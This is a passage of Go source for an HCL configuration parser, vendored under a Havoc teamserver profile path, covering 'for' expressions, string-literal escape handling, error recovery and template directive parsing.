ValueExpr: value, }) next = p.Peek() if next.Type == TokenCBrace { close = p.Read() // eat closer break } if next.Type != TokenComma && next.Type != TokenNewline { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing attribute separator", Detail: "Expected a newline or comma to mark the beginning of the next attribute.", Subject: &next.Range, Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), }) } close = p.recover(TokenCBrace) break } p.Read() // eat comma or newline } return &ObjectConsExpr{ Items: items, SrcRange: hcl.RangeBetween(open.Range, close.Range), OpenRange: open.Range, }, diags } func (p *parser) finishParsingForExpr(open Token) (Expression, hcl.Diagnostics) { p.PushIncludeNewlines(false) defer p.PopIncludeNewlines() introducer := p.Read() if !forKeyword.TokenMatches(introducer) { // Should never happen if callers are behaving panic("finishParsingForExpr called without peeker pointing to 'for' identifier") } var makeObj bool var closeType TokenType switch open.Type { case TokenOBrace: makeObj = true closeType = TokenCBrace case TokenOBrack: makeObj = false // making a tuple closeType = TokenCBrack default: // Should never happen if callers are behaving panic("finishParsingForExpr called with invalid open token") } var diags hcl.Diagnostics var keyName, valName string if p.Peek().Type != TokenIdent { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "For expression requires variable name after 'for'.", Subject: p.Peek().Range.Ptr(), Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), }) } close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } valName = string(p.Read().Bytes) if p.Peek().Type == TokenComma { // What we just read was actually the key, then. keyName = valName p.Read() // eat comma if p.Peek().Type != TokenIdent { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "For expression requires value variable name after comma.", Subject: p.Peek().Range.Ptr(), Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), }) } close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } valName = string(p.Read().Bytes) } if !inKeyword.TokenMatches(p.Peek()) { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "For expression requires the 'in' keyword after its name declarations.", Subject: p.Peek().Range.Ptr(), Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), }) } close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } p.Read() // eat 'in' keyword collExpr, collDiags := p.ParseExpression() diags = append(diags, collDiags...) if p.recovery && collDiags.HasErrors() { close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } if p.Peek().Type != TokenColon { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "For expression requires a colon after the collection expression.", Subject: p.Peek().Range.Ptr(), Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), }) } close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } p.Read() // eat colon var keyExpr, valExpr Expression var keyDiags, valDiags hcl.Diagnostics valExpr, valDiags = p.ParseExpression() if p.Peek().Type == TokenFatArrow { // What we just parsed was actually keyExpr p.Read() // eat the fat arrow keyExpr, keyDiags = valExpr, valDiags valExpr, valDiags = p.ParseExpression() } diags = append(diags, keyDiags...) diags = append(diags, valDiags...) if p.recovery && (keyDiags.HasErrors() || valDiags.HasErrors()) { close := p.recover(closeType) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } group := false var ellipsis Token if p.Peek().Type == TokenEllipsis { ellipsis = p.Read() group = true } var condExpr Expression var condDiags hcl.Diagnostics if ifKeyword.TokenMatches(p.Peek()) { p.Read() // eat "if" condExpr, condDiags = p.ParseExpression() diags = append(diags, condDiags...) if p.recovery && condDiags.HasErrors() { close := p.recover(p.oppositeBracket(open.Type)) return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }, diags } } var close Token if p.Peek().Type == closeType { close = p.Read() } else { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "Extra characters after the end of the 'for' expression.", Subject: p.Peek().Range.Ptr(), Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), }) } close = p.recover(closeType) } if !makeObj { if keyExpr != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "Key expression is not valid when building a tuple.", Subject: keyExpr.Range().Ptr(), Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), }) } if group { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "Grouping ellipsis (...) cannot be used when building a tuple.", Subject: &ellipsis.Range, Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), }) } } else { if keyExpr == nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' expression", Detail: "Key expression is required when building an object.", Subject: valExpr.Range().Ptr(), Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), }) } } return &ForExpr{ KeyVar: keyName, ValVar: valName, CollExpr: collExpr, KeyExpr: keyExpr, ValExpr: valExpr, CondExpr: condExpr, Group: group, SrcRange: hcl.RangeBetween(open.Range, close.Range), OpenRange: open.Range, CloseRange: close.Range, }, diags } // parseQuotedStringLiteral is a helper for parsing quoted strings that // aren't allowed to contain any interpolations, such as block labels. func (p *parser) parseQuotedStringLiteral() (string, hcl.Range, hcl.Diagnostics) { oQuote := p.Read() if oQuote.Type != TokenOQuote { return "", oQuote.Range, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid string literal", Detail: "A quoted string is required here.", Subject: &oQuote.Range, }, } } var diags hcl.Diagnostics ret := &bytes.Buffer{} var endRange hcl.Range Token: for { tok := p.Read() switch tok.Type { case TokenCQuote: endRange = tok.Range break Token case TokenQuotedLit: s, sDiags := ParseStringLiteralToken(tok) diags = append(diags, sDiags...) ret.WriteString(s) case TokenTemplateControl, TokenTemplateInterp: which := "$" if tok.Type == TokenTemplateControl { which = "%" } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid string literal", Detail: fmt.Sprintf( "Template sequences are not allowed in this string. To include a literal %q, double it (as \"%s%s\") to escape it.", which, which, which, ), Subject: &tok.Range, Context: hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(), }) // Now that we're returning an error callers won't attempt to use // the result for any real operations, but they might try to use // the partial AST for other analyses, so we'll leave a marker // to indicate that there was something invalid in the string to // help avoid misinterpretation of the partial result ret.WriteString(which) ret.WriteString("{ ... }") p.recover(TokenTemplateSeqEnd) // we'll try to keep parsing after the sequence ends case TokenEOF: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unterminated string literal", Detail: "Unable to find the closing quote mark before the end of the file.", Subject: &tok.Range, Context: hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(), }) endRange = tok.Range break Token default: // Should never happen, as long as the scanner is behaving itself diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid string literal", Detail: "This item is not valid in a string literal.", Subject: &tok.Range, Context: hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(), }) p.recover(TokenCQuote) endRange = tok.Range break Token } } return ret.String(), hcl.RangeBetween(oQuote.Range, endRange), diags } // ParseStringLiteralToken processes the given token, which must be either a // TokenQuotedLit or a TokenStringLit, returning the string resulting from // resolving any escape sequences. // // If any error diagnostics are returned, the returned string may be incomplete // or otherwise invalid. func ParseStringLiteralToken(tok Token) (string, hcl.Diagnostics) { var quoted bool switch tok.Type { case TokenQuotedLit: quoted = true case TokenStringLit: quoted = false default: panic("ParseStringLiteralToken can only be used with TokenStringLit and TokenQuotedLit tokens") } var diags hcl.Diagnostics ret := make([]byte, 0, len(tok.Bytes)) slices := scanStringLit(tok.Bytes, quoted) // We will mutate rng constantly as we walk through our token slices below. // Any diagnostics must take a copy of this rng rather than simply pointing // to it, e.g. by using rng.Ptr() rather than &rng. rng := tok.Range rng.End = rng.Start Slices: for _, slice := range slices { if len(slice) == 0 { continue } // Advance the start of our range to where the previous token ended rng.Start = rng.End // Advance the end of our range to after our token. b := slice for len(b) > 0 { adv, ch, _ := textseg.ScanGraphemeClusters(b, true) rng.End.Byte += adv switch ch[0] { case '\r', '\n': rng.End.Line++ rng.End.Column = 1 default: rng.End.Column++ } b = b[adv:] } TokenType: switch slice[0] { case '\\': if !quoted { // If we're not in quoted mode then just treat this token as // normal. (Slices can still start with backslash even if we're // not specifically looking for backslash sequences.) break TokenType } if len(slice) < 2 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid escape sequence", Detail: "Backslash must be followed by an escape sequence selector character.", Subject: rng.Ptr(), }) break TokenType } switch slice[1] { case 'n': ret = append(ret, '\n') continue Slices case 'r': ret = append(ret, '\r') continue Slices case 't': ret = append(ret, '\t') continue Slices case '"': ret = append(ret, '"') continue Slices case '\\': ret = append(ret, '\\') continue Slices case 'x': var bt, _ = hex.DecodeString(string(slice[2:])) ret = append(ret, bt...) continue Slices case 'u', 'U': if slice[1] == 'u' && len(slice) != 6 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid escape sequence", Detail: "The \\u escape sequence must be followed by four hexadecimal digits.", Subject: rng.Ptr(), }) break TokenType } else if slice[1] == 'U' && len(slice) != 10 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid escape sequence", Detail: "The \\U escape sequence must be followed by eight hexadecimal digits.", Subject: rng.Ptr(), }) break TokenType } numHex := string(slice[2:]) num, err := strconv.ParseUint(numHex, 16, 32) if err != nil { // Should never happen because the scanner won't match // a sequence of digits that isn't valid. panic(err) } r := rune(num) l := utf8.RuneLen(r) if l == -1 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid escape sequence", Detail: fmt.Sprintf("Cannot encode character U+%04x in UTF-8.", num), Subject: rng.Ptr(), }) break TokenType } for i := 0; i < l; i++ { ret = append(ret, 0) } rb := ret[len(ret)-l:] utf8.EncodeRune(rb, r) continue Slices default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid escape sequence", Detail: fmt.Sprintf("The symbol %q is not a valid escape sequence selector.", slice[1:]), Subject: rng.Ptr(), }) ret = append(ret, slice[1:]...) continue Slices } case '$', '%': if len(slice) != 3 { // Not long enough to be our escape sequence, so it's literal. break TokenType } if slice[1] == slice[0] && slice[2] == '{' { ret = append(ret, slice[0]) ret = append(ret, '{') continue Slices } break TokenType } // If we fall out here or break out of here from the switch above // then this slice is just a literal. ret = append(ret, slice...) } return string(ret), diags } // setRecovery turns on recovery mode without actually doing any recovery. // This can be used when a parser knowingly leaves the peeker in a useless // place and wants to suppress errors that might result from that decision. func (p *parser) setRecovery() { p.recovery = true } // recover seeks forward in the token stream until it finds TokenType "end", // then returns with the peeker pointed at the following token. // // If the given token type is a bracketer, this function will additionally // count nested instances of the brackets to try to leave the peeker at // the end of the _current_ instance of that bracketer, skipping over any // nested instances. This is a best-effort operation and may have // unpredictable results on input with bad bracketer nesting. func (p *parser) recover(end TokenType) Token { start := p.oppositeBracket(end) p.recovery = true nest := 0 for { tok := p.Read() ty := tok.Type if end == TokenTemplateSeqEnd && ty == TokenTemplateControl { // normalize so that our matching behavior can work, since // TokenTemplateControl/TokenTemplateInterp are asymmetrical // with TokenTemplateSeqEnd and thus we need to count both // openers if that's the closer we're looking for. ty = TokenTemplateInterp } switch ty { case start: nest++ case end: if nest < 1 { return tok } nest-- case TokenEOF: return tok } } } // recoverOver seeks forward in the token stream until it finds a block // starting with TokenType "start", then finds the corresponding end token, // leaving the peeker pointed at the token after that end token. // // The given token type _must_ be a bracketer. For example, if the given // start token is TokenOBrace then the parser will be left at the _end_ of // the next brace-delimited block encountered, or at EOF if no such block // is found or it is unclosed. func (p *parser) recoverOver(start TokenType) { end := p.oppositeBracket(start) // find the opening bracket first Token: for { tok := p.Read() switch tok.Type { case start, TokenEOF: break Token } } // Now use our existing recover function to locate the _end_ of the // container we've found. p.recover(end) } func (p *parser) recoverAfterBodyItem() { p.recovery = true var open []TokenType Token: for { tok := p.Read() switch tok.Type { case TokenNewline: if len(open) == 0 { break Token } case TokenEOF: break Token case TokenOBrace, TokenOBrack, TokenOParen, TokenOQuote, TokenOHeredoc, TokenTemplateInterp, TokenTemplateControl: open = append(open, tok.Type) case TokenCBrace, TokenCBrack, TokenCParen, TokenCQuote, TokenCHeredoc: opener := p.oppositeBracket(tok.Type) for len(open) > 0 && open[len(open)-1] != opener { open = open[:len(open)-1] } if len(open) > 0 { open = open[:len(open)-1] } case TokenTemplateSeqEnd: for len(open) > 0 && open[len(open)-1] != TokenTemplateInterp && open[len(open)-1] != TokenTemplateControl { open = open[:len(open)-1] } if len(open) > 0 { open = open[:len(open)-1] } } } } // oppositeBracket finds the bracket that opposes the given bracketer, or // NilToken if the given token isn't a bracketer. // // "Bracketer", for the sake of this function, is one end of a matching // open/close set of tokens that establish a bracketing context. func (p *parser) oppositeBracket(ty TokenType) TokenType { switch ty { case TokenOBrace: return TokenCBrace case TokenOBrack: return TokenCBrack case TokenOParen: return TokenCParen case TokenOQuote: return TokenCQuote case TokenOHeredoc: return TokenCHeredoc case TokenCBrace: return TokenOBrace case TokenCBrack: return TokenOBrack case TokenCParen: return TokenOParen case TokenCQuote: return TokenOQuote case TokenCHeredoc: return TokenOHeredoc case TokenTemplateControl: return TokenTemplateSeqEnd case TokenTemplateInterp: return TokenTemplateSeqEnd case TokenTemplateSeqEnd: // This is ambiguous, but we return Interp here because that's // what's assumed by the "recover" method. return TokenTemplateInterp default: return TokenNil } } func errPlaceholderExpr(rng hcl.Range) Expression { return &LiteralValueExpr{ Val: cty.DynamicVal, SrcRange: rng, } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/parser_template.go000066400000000000000000000666631467014221700305710ustar00rootroot00000000000000package hclsyntax import ( "fmt" "strings" "unicode" "github.com/apparentlymart/go-textseg/v13/textseg" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) func (p *parser) ParseTemplate() (Expression, hcl.Diagnostics) { return p.parseTemplate(TokenEOF, false) } func (p *parser) parseTemplate(end TokenType, flushHeredoc bool) (Expression, hcl.Diagnostics) { exprs, passthru, rng, diags := p.parseTemplateInner(end, flushHeredoc) if passthru { if len(exprs) != 1 { panic("passthru set with len(exprs) != 1") } return &TemplateWrapExpr{ Wrapped: exprs[0], SrcRange: rng, }, diags } return &TemplateExpr{ Parts: exprs, SrcRange: rng, }, diags } func (p *parser) parseTemplateInner(end TokenType, flushHeredoc bool) ([]Expression, bool, hcl.Range, hcl.Diagnostics) { parts, diags := p.parseTemplateParts(end) if flushHeredoc { flushHeredocTemplateParts(parts) // Trim off leading spaces on lines per the flush heredoc spec } tp := templateParser{ Tokens: parts.Tokens, SrcRange: parts.SrcRange, } exprs, exprsDiags := tp.parseRoot() diags = append(diags, exprsDiags...) passthru := false if len(parts.Tokens) == 2 { // one real token and one synthetic "end" token if _, isInterp := parts.Tokens[0].(*templateInterpToken); isInterp { passthru = true } } return exprs, passthru, parts.SrcRange, diags } type templateParser struct { Tokens []templateToken SrcRange hcl.Range pos int } func (p *templateParser) parseRoot() ([]Expression, hcl.Diagnostics) { var exprs []Expression var diags hcl.Diagnostics for { next := p.Peek() if _, isEnd := next.(*templateEndToken); isEnd { break } expr, exprDiags := p.parseExpr() diags = append(diags, exprDiags...) exprs = append(exprs, expr) } return exprs, diags } func (p *templateParser) parseExpr() (Expression, hcl.Diagnostics) { next := p.Peek() switch tok := next.(type) { case *templateLiteralToken: p.Read() // eat literal return &LiteralValueExpr{ Val: cty.StringVal(tok.Val), SrcRange: tok.SrcRange, }, nil case *templateInterpToken: p.Read() // eat interp return tok.Expr, nil case *templateIfToken: return p.parseIf() case *templateForToken: return p.parseFor() case *templateEndToken: p.Read() // eat erroneous token return errPlaceholderExpr(tok.SrcRange), hcl.Diagnostics{ { // This is a particularly unhelpful diagnostic, so callers // should attempt to pre-empt it and produce a more helpful // diagnostic that is context-aware. Severity: hcl.DiagError, Summary: "Unexpected end of template", Detail: "The control directives within this template are unbalanced.", Subject: &tok.SrcRange, }, } case *templateEndCtrlToken: p.Read() // eat erroneous token return errPlaceholderExpr(tok.SrcRange), hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: fmt.Sprintf("Unexpected %s directive", tok.Name()), Detail: "The control directives within this template are unbalanced.", Subject: &tok.SrcRange, }, } default: // should never happen, because above should be exhaustive panic(fmt.Sprintf("unhandled template token type %T", next)) } } func (p *templateParser) parseIf() (Expression, hcl.Diagnostics) { open := p.Read() openIf, isIf := open.(*templateIfToken) if !isIf { // should never happen if caller is behaving panic("parseIf called with peeker not pointing at if token") } var ifExprs, elseExprs []Expression var diags hcl.Diagnostics var endifRange hcl.Range currentExprs := &ifExprs Token: for { next := p.Peek() if end, isEnd := next.(*templateEndToken); isEnd { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unexpected end of template", Detail: fmt.Sprintf( "The if directive at %s is missing its corresponding endif directive.", openIf.SrcRange, ), Subject: &end.SrcRange, }) return errPlaceholderExpr(end.SrcRange), diags } if end, isCtrlEnd := next.(*templateEndCtrlToken); isCtrlEnd { p.Read() // eat end directive switch end.Type { case templateElse: if currentExprs == &ifExprs { currentExprs = &elseExprs continue Token } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unexpected else directive", Detail: fmt.Sprintf( "Already in the else clause for the if started at %s.", openIf.SrcRange, ), Subject: &end.SrcRange, }) case templateEndIf: endifRange = end.SrcRange break Token default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Unexpected %s directive", end.Name()), Detail: fmt.Sprintf( "Expecting an endif directive for the if started at %s.", openIf.SrcRange, ), Subject: &end.SrcRange, }) } return errPlaceholderExpr(end.SrcRange), diags } expr, exprDiags := p.parseExpr() diags = append(diags, exprDiags...) *currentExprs = append(*currentExprs, expr) } if len(ifExprs) == 0 { ifExprs = append(ifExprs, &LiteralValueExpr{ Val: cty.StringVal(""), SrcRange: hcl.Range{ Filename: openIf.SrcRange.Filename, Start: openIf.SrcRange.End, End: openIf.SrcRange.End, }, }) } if len(elseExprs) == 0 { elseExprs = append(elseExprs, &LiteralValueExpr{ Val: cty.StringVal(""), SrcRange: hcl.Range{ Filename: endifRange.Filename, Start: endifRange.Start, End: endifRange.Start, }, }) } trueExpr := &TemplateExpr{ Parts: ifExprs, SrcRange: hcl.RangeBetween(ifExprs[0].Range(), ifExprs[len(ifExprs)-1].Range()), } falseExpr := &TemplateExpr{ Parts: elseExprs, SrcRange: hcl.RangeBetween(elseExprs[0].Range(), elseExprs[len(elseExprs)-1].Range()), } return &ConditionalExpr{ Condition: openIf.CondExpr, TrueResult: trueExpr, FalseResult: falseExpr, SrcRange: hcl.RangeBetween(openIf.SrcRange, endifRange), }, diags } func (p *templateParser) parseFor() (Expression, hcl.Diagnostics) { open := p.Read() openFor, isFor := open.(*templateForToken) if !isFor { // should never happen if caller is behaving panic("parseFor called with peeker not pointing at for token") } var contentExprs []Expression var diags hcl.Diagnostics var endforRange hcl.Range Token: for { next := p.Peek() if end, isEnd := next.(*templateEndToken); isEnd { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unexpected end of template", Detail: fmt.Sprintf( "The for directive at %s is missing its corresponding endfor directive.", openFor.SrcRange, ), Subject: &end.SrcRange, }) return errPlaceholderExpr(end.SrcRange), diags } if end, isCtrlEnd := next.(*templateEndCtrlToken); isCtrlEnd { p.Read() // eat end directive switch end.Type { case templateElse: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unexpected else directive", Detail: "An else clause is not expected for a for directive.", Subject: &end.SrcRange, }) case templateEndFor: endforRange = end.SrcRange break Token default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Unexpected %s directive", end.Name()), Detail: fmt.Sprintf( "Expecting an endfor directive corresponding to the for directive at %s.", openFor.SrcRange, ), Subject: &end.SrcRange, }) } return errPlaceholderExpr(end.SrcRange), diags } expr, exprDiags := p.parseExpr() diags = append(diags, exprDiags...) contentExprs = append(contentExprs, expr) } if len(contentExprs) == 0 { contentExprs = append(contentExprs, &LiteralValueExpr{ Val: cty.StringVal(""), SrcRange: hcl.Range{ Filename: openFor.SrcRange.Filename, Start: openFor.SrcRange.End, End: openFor.SrcRange.End, }, }) } contentExpr := &TemplateExpr{ Parts: contentExprs, SrcRange: hcl.RangeBetween(contentExprs[0].Range(), contentExprs[len(contentExprs)-1].Range()), } forExpr := &ForExpr{ KeyVar: openFor.KeyVar, ValVar: openFor.ValVar, CollExpr: openFor.CollExpr, ValExpr: contentExpr, SrcRange: hcl.RangeBetween(openFor.SrcRange, endforRange), OpenRange: openFor.SrcRange, CloseRange: endforRange, } return &TemplateJoinExpr{ Tuple: forExpr, }, diags } func (p *templateParser) Peek() templateToken { return p.Tokens[p.pos] } func (p *templateParser) Read() templateToken { ret := p.Peek() if _, end := ret.(*templateEndToken); !end { p.pos++ } return ret } // parseTemplateParts produces a flat sequence of "template tokens", which are // either literal values (with any "trimming" already applied), interpolation // sequences, or control flow markers. // // A further pass is required on the result to turn it into an AST. func (p *parser) parseTemplateParts(end TokenType) (*templateParts, hcl.Diagnostics) { var parts []templateToken var diags hcl.Diagnostics startRange := p.NextRange() ltrimNext := false nextCanTrimPrev := false var endRange hcl.Range Token: for { next := p.Read() if next.Type == end { // all done! endRange = next.Range break } ltrim := ltrimNext ltrimNext = false canTrimPrev := nextCanTrimPrev nextCanTrimPrev = false switch next.Type { case TokenStringLit, TokenQuotedLit: str, strDiags := ParseStringLiteralToken(next) diags = append(diags, strDiags...) if ltrim { str = strings.TrimLeftFunc(str, unicode.IsSpace) } parts = append(parts, &templateLiteralToken{ Val: str, SrcRange: next.Range, }) nextCanTrimPrev = true case TokenTemplateInterp: // if the opener is ${~ then we want to eat any trailing whitespace // in the preceding literal token, assuming it is indeed a literal // token. if canTrimPrev && len(next.Bytes) == 3 && next.Bytes[2] == '~' && len(parts) > 0 { prevExpr := parts[len(parts)-1] if lexpr, ok := prevExpr.(*templateLiteralToken); ok { lexpr.Val = strings.TrimRightFunc(lexpr.Val, unicode.IsSpace) } } p.PushIncludeNewlines(false) expr, exprDiags := p.ParseExpression() diags = append(diags, exprDiags...) close := p.Peek() if close.Type != TokenTemplateSeqEnd { if !p.recovery { switch close.Type { case TokenColon: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extra characters after interpolation expression", Detail: "Template interpolation doesn't expect a colon at this location. Did you intend this to be a literal sequence to be processed as part of another language? If so, you can escape it by starting with \"$${\" instead of just \"${\".", Subject: &close.Range, Context: hcl.RangeBetween(startRange, close.Range).Ptr(), }) default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extra characters after interpolation expression", Detail: "Expected a closing brace to end the interpolation expression, but found extra characters.\n\nThis can happen when you include interpolation syntax for another language, such as shell scripting, but forget to escape the interpolation start token. If this is an embedded sequence for another language, escape it by starting with \"$${\" instead of just \"${\".", Subject: &close.Range, Context: hcl.RangeBetween(startRange, close.Range).Ptr(), }) } } p.recover(TokenTemplateSeqEnd) } else { p.Read() // eat closing brace // If the closer is ~} then we want to eat any leading // whitespace on the next token, if it turns out to be a // literal token. if len(close.Bytes) == 2 && close.Bytes[0] == '~' { ltrimNext = true } } p.PopIncludeNewlines() parts = append(parts, &templateInterpToken{ Expr: expr, SrcRange: hcl.RangeBetween(next.Range, close.Range), }) case TokenTemplateControl: // if the opener is %{~ then we want to eat any trailing whitespace // in the preceding literal token, assuming it is indeed a literal // token. if canTrimPrev && len(next.Bytes) == 3 && next.Bytes[2] == '~' && len(parts) > 0 { prevExpr := parts[len(parts)-1] if lexpr, ok := prevExpr.(*templateLiteralToken); ok { lexpr.Val = strings.TrimRightFunc(lexpr.Val, unicode.IsSpace) } } p.PushIncludeNewlines(false) kw := p.Peek() if kw.Type != TokenIdent { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template directive", Detail: "A template directive keyword (\"if\", \"for\", etc) is expected at the beginning of a %{ sequence.", Subject: &kw.Range, Context: hcl.RangeBetween(next.Range, kw.Range).Ptr(), }) } p.recover(TokenTemplateSeqEnd) p.PopIncludeNewlines() continue Token } p.Read() // eat keyword token switch { case ifKeyword.TokenMatches(kw): condExpr, exprDiags := p.ParseExpression() diags = append(diags, exprDiags...) parts = append(parts, &templateIfToken{ CondExpr: condExpr, SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), }) case elseKeyword.TokenMatches(kw): parts = append(parts, &templateEndCtrlToken{ Type: templateElse, SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), }) case endifKeyword.TokenMatches(kw): parts = append(parts, &templateEndCtrlToken{ Type: templateEndIf, SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), }) case forKeyword.TokenMatches(kw): var keyName, valName string if p.Peek().Type != TokenIdent { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' directive", Detail: "For directive requires variable name after 'for'.", Subject: p.Peek().Range.Ptr(), }) } p.recover(TokenTemplateSeqEnd) p.PopIncludeNewlines() continue Token } valName = string(p.Read().Bytes) if p.Peek().Type == TokenComma { // What we just read was actually the key, then. keyName = valName p.Read() // eat comma if p.Peek().Type != TokenIdent { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' directive", Detail: "For directive requires value variable name after comma.", Subject: p.Peek().Range.Ptr(), }) } p.recover(TokenTemplateSeqEnd) p.PopIncludeNewlines() continue Token } valName = string(p.Read().Bytes) } if !inKeyword.TokenMatches(p.Peek()) { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid 'for' directive", Detail: "For directive requires 'in' keyword after names.", Subject: p.Peek().Range.Ptr(), }) } p.recover(TokenTemplateSeqEnd) p.PopIncludeNewlines() continue Token } p.Read() // eat 'in' keyword collExpr, collDiags := p.ParseExpression() diags = append(diags, collDiags...) parts = append(parts, &templateForToken{ KeyVar: keyName, ValVar: valName, CollExpr: collExpr, SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), }) case endforKeyword.TokenMatches(kw): parts = append(parts, &templateEndCtrlToken{ Type: templateEndFor, SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), }) default: if !p.recovery { suggestions := []string{"if", "for", "else", "endif", "endfor"} given := string(kw.Bytes) suggestion := nameSuggestion(given, suggestions) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template control keyword", Detail: fmt.Sprintf("%q is not a valid template control keyword.%s", given, suggestion), Subject: &kw.Range, Context: hcl.RangeBetween(next.Range, kw.Range).Ptr(), }) } p.recover(TokenTemplateSeqEnd) p.PopIncludeNewlines() continue Token } close := p.Peek() if close.Type != TokenTemplateSeqEnd { if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Extra characters in %s marker", kw.Bytes), Detail: "Expected a closing brace to end the sequence, but found extra characters.", Subject: &close.Range, Context: hcl.RangeBetween(startRange, close.Range).Ptr(), }) } p.recover(TokenTemplateSeqEnd) } else { p.Read() // eat closing brace // If the closer is ~} then we want to eat any leading // whitespace on the next token, if it turns out to be a // literal token. if len(close.Bytes) == 2 && close.Bytes[0] == '~' { ltrimNext = true } } p.PopIncludeNewlines() default: if !p.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unterminated template string", Detail: "No closing marker was found for the string.", Subject: &next.Range, Context: hcl.RangeBetween(startRange, next.Range).Ptr(), }) } final := p.recover(end) endRange = final.Range break Token } } if len(parts) == 0 { // If a sequence has no content, we'll treat it as if it had an // empty string in it because that's what the user probably means // if they write "" in configuration. parts = append(parts, &templateLiteralToken{ Val: "", SrcRange: hcl.Range{ // Range is the zero-character span immediately after the // opening quote. Filename: startRange.Filename, Start: startRange.End, End: startRange.End, }, }) } // Always end with an end token, so the parser can produce diagnostics // about unclosed items with proper position information. parts = append(parts, &templateEndToken{ SrcRange: endRange, }) ret := &templateParts{ Tokens: parts, SrcRange: hcl.RangeBetween(startRange, endRange), } return ret, diags } // flushHeredocTemplateParts modifies in-place the line-leading literal strings // to apply the flush heredoc processing rule: find the line with the smallest // number of whitespace characters as prefix and then trim that number of // characters from all of the lines. // // This rule is applied to static tokens rather than to the rendered result, // so interpolating a string with leading whitespace cannot affect the chosen // prefix length. func flushHeredocTemplateParts(parts *templateParts) { if len(parts.Tokens) == 0 { // Nothing to do return } const maxInt = int((^uint(0)) >> 1) minSpaces := maxInt newline := true var adjust []*templateLiteralToken for _, ttok := range parts.Tokens { if newline { newline = false var spaces int if lit, ok := ttok.(*templateLiteralToken); ok { orig := lit.Val trimmed := 